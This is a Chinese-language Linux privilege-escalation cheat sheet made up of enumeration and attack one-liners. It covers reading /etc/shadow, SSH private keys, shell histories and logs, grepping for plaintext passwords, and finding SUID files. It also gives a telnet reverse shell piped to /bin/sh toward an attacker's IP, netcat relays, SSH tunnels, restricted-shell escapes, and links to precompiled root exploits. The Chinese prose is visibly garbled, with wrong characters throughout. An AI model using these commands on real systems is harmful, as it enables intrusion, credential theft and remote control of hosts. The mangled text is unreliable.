在本文開端之前，我想指出我不是專家。據(jù)我所知，在這個復(fù)雜年夜的區(qū)域,沒有一個“奇異”的謎底.分享，共享(我的解纜點)。下面是一個同化的號令做一樣的工作，在不合的處所，或只是一個不合的目光來對待事物。我知道有更多的“東西”往尋覓。這只是一個根基粗略的指南。其實不是每個號令，做好要重視細(xì)節(jié).
文中的每行動一條號令，文中有的號令可能在你的主機上敲不出來，因為它多是在其他版本的linux中所利用的號令。
列舉關(guān)頭點
(Linux)的提權(quán)是如何一回事：
匯集 – 列舉，列舉和一些更多的列舉。
過程 – 經(jīng)由過程數(shù)據(jù)排序，闡發(fā)和肯定優(yōu)先挨次。
搜刮 – 知道搜刮甚么和在哪里可以找到縫隙代碼。
適應(yīng) – 自定義的縫隙，所以它合適。每個系統(tǒng)的工作其實不是每個縫隙“都固定不變”。
測驗測驗 – 做好預(yù)備,實驗和弊端。
把持類型
把持類型是甚么版本?
1cat /etc/issue
2cat /etc/*-release
3cat /etc/lsb-release
4cat /etc/redhat-release
它的內(nèi)核版本是甚么?
1cat /proc/version
2uname -a
3uname -mrs
4rpm -q kernel
5dmesg | grep Linux
6ls /boot | grep vmlinuz
它的環(huán)境變量里有些甚么?
1cat /etc/profile
2cat /etc/bashrc
3cat ~/.bash_profile
4cat ~/.bashrc
5cat ~/.bash_logout
6env
7set
是不是有臺打印機?
1lpstat -a
利用與辦事
正在運行甚么辦事?甚么樣的辦事具有甚么用戶權(quán)限?
1ps aux
2ps -ef
3top
4cat /etc/service
哪些辦事具有root的權(quán)限?這些辦事里你看起來那些有縫隙,進(jìn)行再次查抄!
1ps aux | grep root
2ps -ef | grep root
安裝了哪些利用法度?他們是甚么版本?哪些是當(dāng)前正在運行的?
1ls -alh /usr/bin/
2ls -alh /sbin/
3dpkg -l
4rpm -qa
5ls -alh /var/cache/apt/archivesO
6ls -alh /var/cache/yum/
Service設(shè)置，有任何的弊端建設(shè)嗎?是不是有任何(脆弱的)的插件?
01cat /etc/syslog.conf
02cat /etc/chttp.conf
03cat /etc/lighttpd.conf
04cat /etc/cups/cupsd.conf
05cat /etc/inetd.conf
06cat /etc/apache2/apache2.conf
07cat /etc/my.conf
08cat /etc/httpd/conf/httpd.conf
09cat /opt/lampp/etc/httpd.conf
10ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
主機上有哪些工作打算?
01crontab -l
02ls -alh /var/spool/cron
03ls -al /etc/ | grep cron
04ls -al /etc/cron*
05cat /etc/cron*
06cat /etc/at.allow
07cat /etc/at.deny
08cat /etc/cron.allow
09cat /etc/cron.deny
10cat /etc/crontab
11cat /etc/anacrontab
12cat /var/spool/cron/crontabs/root
主機上可能有哪些純文本用戶名和暗碼?
1grep -i user [filename]
2grep -i pass [filename]
3grep -C 5 "password" [filename]
4find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信與收集
NIC(s)，系統(tǒng)有哪些?它是連接到哪個收集?
1/sbin/ifconfig -a
2cat /etc/network/inte***ces
3cat /etc/sysconfig/network
收集建設(shè)設(shè)置是甚么?收集中有甚么樣的辦事器?DHCP辦事器?DNS辦事器?網(wǎng)關(guān)?
1cat /etc/resolv.conf
2cat /etc/sysconfig/network
3cat /etc/networks
4iptables -L
5hostname
6dnsdomainname
其他用戶主機與系統(tǒng)的通信?
01lsof -i
02lsof -i :80
03grep 80 /etc/services
04netstat -antup
05netstat -antpx
06netstat -tulpn
07chkconfig --list
08chkconfig --list | grep 3:on
09last
10w
緩存?IP和/或MAC地址?
1arp -e
2route
3/sbin/route -nee
數(shù)據(jù)包可能嗅探嗎?可以看出甚么?監(jiān)聽流量
1# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
2tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你若何get一個shell?你若何與系統(tǒng)進(jìn)行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
1nc -lvp 4444 # Attacker. 輸進(jìn) (號令)
2nc -lvp 4445 # Attacker. 輸出(成果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在方針系統(tǒng)上. 利用 報復(fù)打擊者的IP!
若何端口轉(zhuǎn)發(fā)?(端口重定向)
# rinetd
1# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
1# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
2FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
1# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
2ssh -L 8080:127.0.0.1:80 [email protected] # Local Port
3ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port
#mknod
1# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
2mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
3mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
4mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
成立地道可能嗎?本地，長途發(fā)送號令
1ssh -D 127.0.0.1:9050 -N [username]@[ip]
2proxychains ifconfig
奧秘信息和用戶
你是誰?哪個id登錄?誰已登錄?還有誰在這里?誰可以做甚么呢?
1id
2who
3w
4last
5cat /etc/passwd | cut -d: # List of users
6grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
7awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
8cat /etc/sudoers
9sudo -l
可以找到甚么敏感文件?
1cat /etc/passwd
2cat /etc/group
3cat /etc/shadow
4ls -alh /var/mail/
甚么有趣的文件在home/directorie(S)里?假定有權(quán)限拜候
1ls -ahlR /root/
2ls -ahlR /home/
是不是有任何暗碼，腳本，數(shù)據(jù)庫，建設(shè)文件或日記文件?暗碼默許路徑和位置
1cat /var/apache2/config.inc
2cat /var/lib/mysql/mysql/user.MYD
3cat /root/anaconda-ks.cfg
用戶做過甚么?是不是有任何暗碼呢?他們有沒有編纂甚么?
1cat ~/.bash_history
2cat ~/.nano_history
3cat ~/.atftp_history
4cat ~/.mysql_history
5cat ~/.php_history
可以找到甚么樣的用戶信息
1cat ~/.bashrc
2cat ~/.profile
3cat /var/mail/root
4cat /var/spool/mail/root
private-key 信息可否被發(fā)現(xiàn)?
01cat ~/.ssh/authorized_keys
02cat ~/.ssh/identity.pub
03cat ~/.ssh/identity
04cat ~/.ssh/id_rsa.pub
05cat ~/.ssh/id_rsa
06cat ~/.ssh/id_dsa.pub
07cat ~/.ssh/id_dsa
08cat /etc/ssh/ssh_config
09cat /etc/ssh/sshd_config
10cat /etc/ssh/ssh_host_dsa_key.pub
11cat /etc/ssh/ssh_host_dsa_key
12cat /etc/ssh/ssh_host_rsa_key.pub
13cat /etc/ssh/ssh_host_rsa_key
14cat /etc/ssh/ssh_host_key.pub
15cat /etc/ssh/ssh_host_key
文件系統(tǒng)
哪些用戶可以寫建設(shè)文件在/ etc /?可以或許從頭建設(shè)辦事?
1ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
1ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
1ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
1ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
1find /etc/ -readable -type f 2>/dev/null # Anyone
2find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有甚么可以發(fā)現(xiàn)?
1ls -alh /var/log
2ls -alh /var/mail
3ls -alh /var/spool
4ls -alh /var/spool/lpd
5ls -alh /var/lib/pgsql
6ls -alh /var/lib/mysql
7cat /var/lib/dhcp3/dhclient.leases
網(wǎng)站上的任何隱躲建設(shè)/文件?建設(shè)文件與數(shù)據(jù)庫信息?
1ls -alhR /var/www/
2ls -alhR /srv/www/htdocs/
3ls -alhR /usr/local/www/apache22/data/
4ls -alhR /opt/lampp/htdocs/
5ls -alhR /var/www/html/
有甚么在日記文件里?(甚么可以或許幫忙到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
01cat /etc/httpd/logs/access_log
02cat /etc/httpd/logs/access.log
03cat /etc/httpd/logs/error_log
04cat /etc/httpd/logs/error.log
05cat /var/log/apache2/access_log
06cat /var/log/apache2/access.log
07cat /var/log/apache2/error_log
08cat /var/log/apache2/error.log
09cat /var/log/apache/access_log
10cat /var/log/apache/access.log
11cat /var/log/auth.log
12cat /var/log/chttp.log
13cat /var/log/cups/error_log
14cat /var/log/dpkg.log
15cat /var/log/faillog
16cat /var/log/httpd/access_log
17cat /var/log/httpd/access.log
18cat /var/log/httpd/error_log
19cat /var/log/httpd/error.log
20cat /var/log/lastlog
21cat /var/log/lighttpd/access.log
22cat /var/log/lighttpd/error.log
23cat /var/log/lighttpd/lighttpd.access.log
24cat /var/log/lighttpd/lighttpd.error.log
25cat /var/log/messages
26cat /var/log/secure
27cat /var/log/syslog
28cat /var/log/wtmp
29cat /var/log/xferlog
30cat /var/log/yum.log
31cat /var/run/utmp
32cat /var/webmin/miniserv.log
33cat /var/www/logs/access_log
34cat /var/www/logs/access.log
1ls -alh /var/lib/dhcp3/
2ls -alh /var/log/postgresql/
3ls -alh /var/log/proftpd/
4ls -alh /var/log/samba/
5# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有甚么文件?log.系統(tǒng)指導(dǎo)......)
假定號令限制，你可以打出哪些沖破它的限制?
1python -c 'import pty;pty.spawn("/bin/bash")'
1echo os.system('/bin/bash')
1/bin/sh -i
若何安裝文件系統(tǒng)?
1mount
2df -h
是不是有掛載的文件系統(tǒng)?
1cat /etc/fstab
甚么是高級Linux文件權(quán)限利用?Sticky bits, SUID 和GUID
1find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
2find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
3find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
4find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
5for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
6
7# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
8
9find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目次可以寫進(jìn)和履行呢?幾個“共同”的目次：/ tmp目次，/var / tmp目次/ dev /shm目次
1find / -writable -type d 2>/dev/null # world-writeable folders
2find / -perm -222 -type d 2>/dev/null # world-writeable folders
3find / -perm -o+w -type d 2>/dev/null # world-writeable folders
4find / -perm -o+x -type d 2>/dev/null # world-executable folders
5find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
6Any "problem" files？可寫的的，“沒有益用"的文件
7find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
8find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
預(yù)備和查找縫隙操縱代碼
安裝了甚么開辟東西/說話/撐持?
1find / -name perl*
2find / -name python*
3find / -name gcc*
4find / -name cc
若何上傳文件?
1find / -name wget
2find / -name nc*
3find / -name netcat*
4find / -name tftp*
5find / -name ftp
查找exploit代碼
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.谷歌.com
查找更多有關(guān)縫隙的信息
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/
(快速)“共同的“exploit,預(yù)編譯二進(jìn)制代碼文件
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很難嗎?
快往利用第三方腳本/東西來嘗嘗吧!
系統(tǒng)如何打內(nèi)核，把持系統(tǒng)，所有益用法度，插件和Web辦事的最新補丁?
1apt-get update && apt-get upgrade
2yum update
辦事運行所需的最低的權(quán)限?
例如，你需要以root身份運行MySQL?
可以或許從以下網(wǎng)站找到主動運行的腳本?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
(快速)指南和鏈接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm